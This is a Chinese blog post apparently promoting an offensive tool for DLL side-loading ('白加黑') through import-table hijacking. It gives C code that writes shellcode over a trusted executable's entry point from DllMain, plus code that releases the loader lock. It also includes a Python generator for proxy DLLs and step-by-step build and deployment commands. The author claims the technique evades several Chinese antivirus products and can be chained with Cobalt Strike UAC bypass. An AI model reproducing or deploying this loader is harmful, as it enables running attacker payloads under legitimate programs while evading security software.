前言
项目地址:https://github.com/9bie/iatHijackGenerate
白加黑,不必多说,然后,想舒服的用上白加黑,肯定基本都是上shellcode的。
但是,直接注入,又容易被主动防御或者各种行为规则拦截。毕竟如果直接openremoteprocess,writeprocessmemory,别说不过主防了,静态查杀估计都过不了,那么如何办呢?
基本第一个想法就是直接在本进程使用加密过后的shellcode,但是,在白加黑的时候又会出现一个问题。
直接放dllmain,boom,shellcode会爆炸,比如死锁啊,但是更主要的原因其实还是内存没有展开,直接执行shellcode会爆炸。
解决方法是新启动一个线程,直接CreateThread,shua的一下解决,但是问题又来了。
createThread之后,主程序如果退出了,你的shellcode线程也跟着退出了,然后我们白加黑的时候,大部分都是直接拆出最小单元的,基本就是运行加载了DLL就退出,压根没有shellcode的执行时间。
网络上的解决方案是寻找直接被调用的导出函数进行劫持,然而众所周知,程序逻辑千奇百怪,开局就调用DLL的少,开局调用DLL还是白名单的就更少了。于是,还是得靠着自己想想办法。
解决方案
和Loadlibrary不通,Loadlibrary方式调用的DLL,得在程序执行到那个地方的时候才会调用DLL,然而程序调用的时机千奇百怪,这样我们可选的内容就少了,虽然说可以使用特征码搜索Loadlibrary来筛选我们想要的程序,但是还是不够通用。
我们把目标换到另外一种调用方式,导入表调用。这种调用是在程序执行开头,解析PE头的时候就调用DLLMAIN,快速立竿见影,当然缺点也就是会遇到我们上面所说的shellcode在dllmain里。导致各种BOOOM。但是解决方案也很简单,既然DLLMAIN里面会boom,我们把代码放程序的main里不就行了?
过程
最开始我一直以为dll调用是会在新线程里面启动,想着子线程到底如何影响主线程,但是实际上手调试过之后才发现,IAT预载入的DLLMAIN是属于EXE的主进程的。这下不就十分简单了,直接获取入口点。修改代码,搞定
核心代码
MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
GetModuleInformation(
GetCurrentProcess(), // handle to process
GetModuleHandle(NULL), // handle to module
&moduleInfoe, // information buffer
sizeof(moduleInfoe) // size of buffer
);
char EntryAddr[MAX_PATH] = { 0 };
_itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 100;
HANDLE currentProcess = GetCurrentProcess();
WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);
没错,代码就这么点,直接放到dllmain里面然后坐等运行到程序就会执行你的shellcode了
进阶
虽然说代码好些,但是DLL的导出函数需要符合EXE的导入函数才能加载,不然会在PELOADER的时候爆炸,明天有空写一个模板生成器。原理很简单,就是获取正常DLL的导出表,然后我们伪造DLL生成一个跳转代码或者直接nop掉就行了。
唯一担心的就是不知道能不能找到时间摸鱼,最近在校招培训,太痛苦了,不能用电脑不能用手机一周997,比高中还痛苦。我高中初中都没经历过这些啊啊啊啊。我只想日站呜呜呜不想听这些勾八课了。
顺带提一最DLLMAIN里的死锁怎么解决
Loadlibrary调用流程如下
- 获取加载锁RtlEnterCriticalSection(&LdrpLoaderLock);
- 尝试加载dll: LdrpFindOrMapDll。
- 处理导入表信息。
- 运行回调函数LdrpRunInitializeRoutines。 ->这里实际上也就是我们的DLLMAIN
- 释放锁RtlLeaveCriticalSection(&LdrpLoaderLock);。
来源:https://blog.csdn.net/xiangbaohui/article/details/103743201
很显然,我们只需要释放掉锁LdrpLoaderLock就行,直接调用RtlLeaveCriticalSection就能解锁。
那么LdrpLoaderLock的位置在哪呢?根据看雪老哥:(https://bbs.pediy.com/thread-185786-1.htm)所说,
如果想在DllMain里面CreateThread创个线程,并且不让DllMain返回(白利用的节奏,怎么白利用自己玩
吧,说出来被开...),还是会出现被LdrpLoaderLock全局锁卡主的情况。不想被卡主可以自己主动释放掉
这把锁,锁的位置在PEB+0x0A0偏移处(+0x0a0 LoaderLock : Ptr32 Void),是在进程初始化的时候由
全局变量LdrpLoaderLock赋给PEB+0x0A0的
所以,我们目标位置就在PEB+0x0A0,调用RtlLeaveCriticalSection干他就行。
代码
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, * PANSI_STRING;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
PVOID Handle;
}CURDIR, * PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
WORD Flags;
WORD Length;
ULONG TimeStamp;
ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
PVOID StandardInput;
PVOID StandardOutput;
PVOID StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG EnvironmentSize;
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
PPEB GetPeb(VOID)
{
#if defined(_WIN64)
return (PPEB)__readgsqword(0x60);
#elif defined(_WIN32)
return (PPEB)__readfsdword(0x30);
#endif
}
VOID UNLOOK(VOID)
{
PPEB Peb = GetPeb();
hModule = GetModuleHandle("ntdll.dll");
if (hModule == NULL)
return FALSE;
typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION CriticalSection);
RTLLEAVECRITICALSECTION RtlLeaveCriticalSection = NULL;
RtlLeaveCriticalSection = (RTLLEAVECRITICALSECTION)GetProcAddress((HMODULE)hModule, "RtlLeaveCriticalSection");
RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)Peb->LoaderLock);
}
快速生成器
代码如下
#include:utf-8
import os, string, shutil,re,sys
import pefile
def GenerateAvailableIATHijackTamplate(module_name,target_dll,output):
tamplate = '''
#include <windows.h>
#include <Shlwapi.h>
#include<tlhelp32.h>
#include<tchar.h>
#pragma comment( lib, "Shlwapi.lib")
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
'''
tamplate_end = """
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe, sizeof(moduleInfoe));
unsigned char shellcode[] = "";
int shellcode_size = 800;
HANDLE currentProcess = GetCurrentProcess();
WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);
}
else if (dwReason == DLL_PROCESS_DETACH){}
return TRUE;
}
"""
pe = pefile.PE(module_name)
for importeddll in pe.DIRECTORY_ENTRY_IMPORT:
DllName = str(importeddll.dll,encoding = "utf-8")
if(DllName != target_dll):
continue
print("即将要劫持的目标为:%s,注意,请确保这个DLL不是系统DLL,如果这个DLL是系统DLL可能会无法劫持成功" % DllName)
i = 1
for importedapi in importeddll.imports:
print(importedapi.name)
FunctionName = str(importedapi.name,encoding = "utf-8")
print("导出函数名为:%s" % FunctionName)
tamplate += """#pragma comment(linker, "/EXPORT:%s=%s,@%s")\n""" % (FunctionName,FunctionName,i)
i+=1
tamplate += """EXTERN_C __declspec(naked) void __cdecl %s(void){}\n""" % (FunctionName)
tamplate += tamplate_end
pe.close()
print("正在生成代码....")
print(tamplate)
print("代码生成完成,正在保存..")
f = open(output,"w")
f.write(tamplate)
f.close()
print("代码报错完成,请确保编译后的DLL名为:%s" % DllName)
print("或者使用GCC编译,编译命令如下\n\tgcc %s -lShlwapi -lPsapi -shared -o %s" % (output,target_dll) )
if len(sys.argv) <= 3:
useage = """
python iat_dll_hijack.py <你要劫持的目标exe> <报错的DLL> <代码模板保存的路径>
模板可用vs或者gcc直接编译
Example: python iat_dll_hijack.py uu.exe ui.dll code.c
"""
print(useage)
exit(0)
GenerateAvailableIATHijackTamplate(sys.argv[1],sys.argv[2],sys.argv[3])
使用方法
使用的前提,程序必须是导入表导入的,不能是loadlibrary的,loadlibrary的不能用这个脚本,可以用其他方法处理。
直接把EXE从安装文件夹复制出来,然后双击运行,假设会出现如下报错(找不到DLL的),就说明是可以劫持的
弹窗越少越好,但是不能没有,1个最好,如果有多个就得多次生成文件,我这边这个程序弹了两个。
记录下这些缺少的DLL,依次执行命令
python iat_dll_hijack.py 目标.exe libcef.dll a1.c
python iat_dll_hijack.py 目标.exe encrashrep.dll a2.c
然后修改最后一次报错dll输出的代码,修改DLLmain里面的shellcode。(重要,不然会影响程序执行流程)
然后执行gcc命令编译
gcc a1.c -lShlwapi -lPsapi -shared -o libcef.dll
gcc a2.c -lShlwapi -lPsapi -shared -o encrashrep.dll
然后把生成的dll和目标exe放在一起,双击执行即可上线
缺点
这种类型的导出DLL暂时没办法自动处理
免杀
测试了下,火绒360tianqin都能过,360开了核晶也能白加黑,然后如果这时候使用cs的反射dll加载bypassuac -> com版本,就可以过核晶bypassuac了。
意外竟然能过这么多。
太刑了
给定的是encrashrep.dll,为什么结果中显示请确保编译后的是WININET.dll呢?
还有一个问题就是,py给出的这个dll代码模板,dllmain会造成死锁吗?还是死锁是有可能发生的。如果发生了,是不是应该用你的RtlLeaveCriticalSection的代码去解决呢?
感觉文章并没有很多的写清楚,看的有点迷糊,麻烦下作者解答了。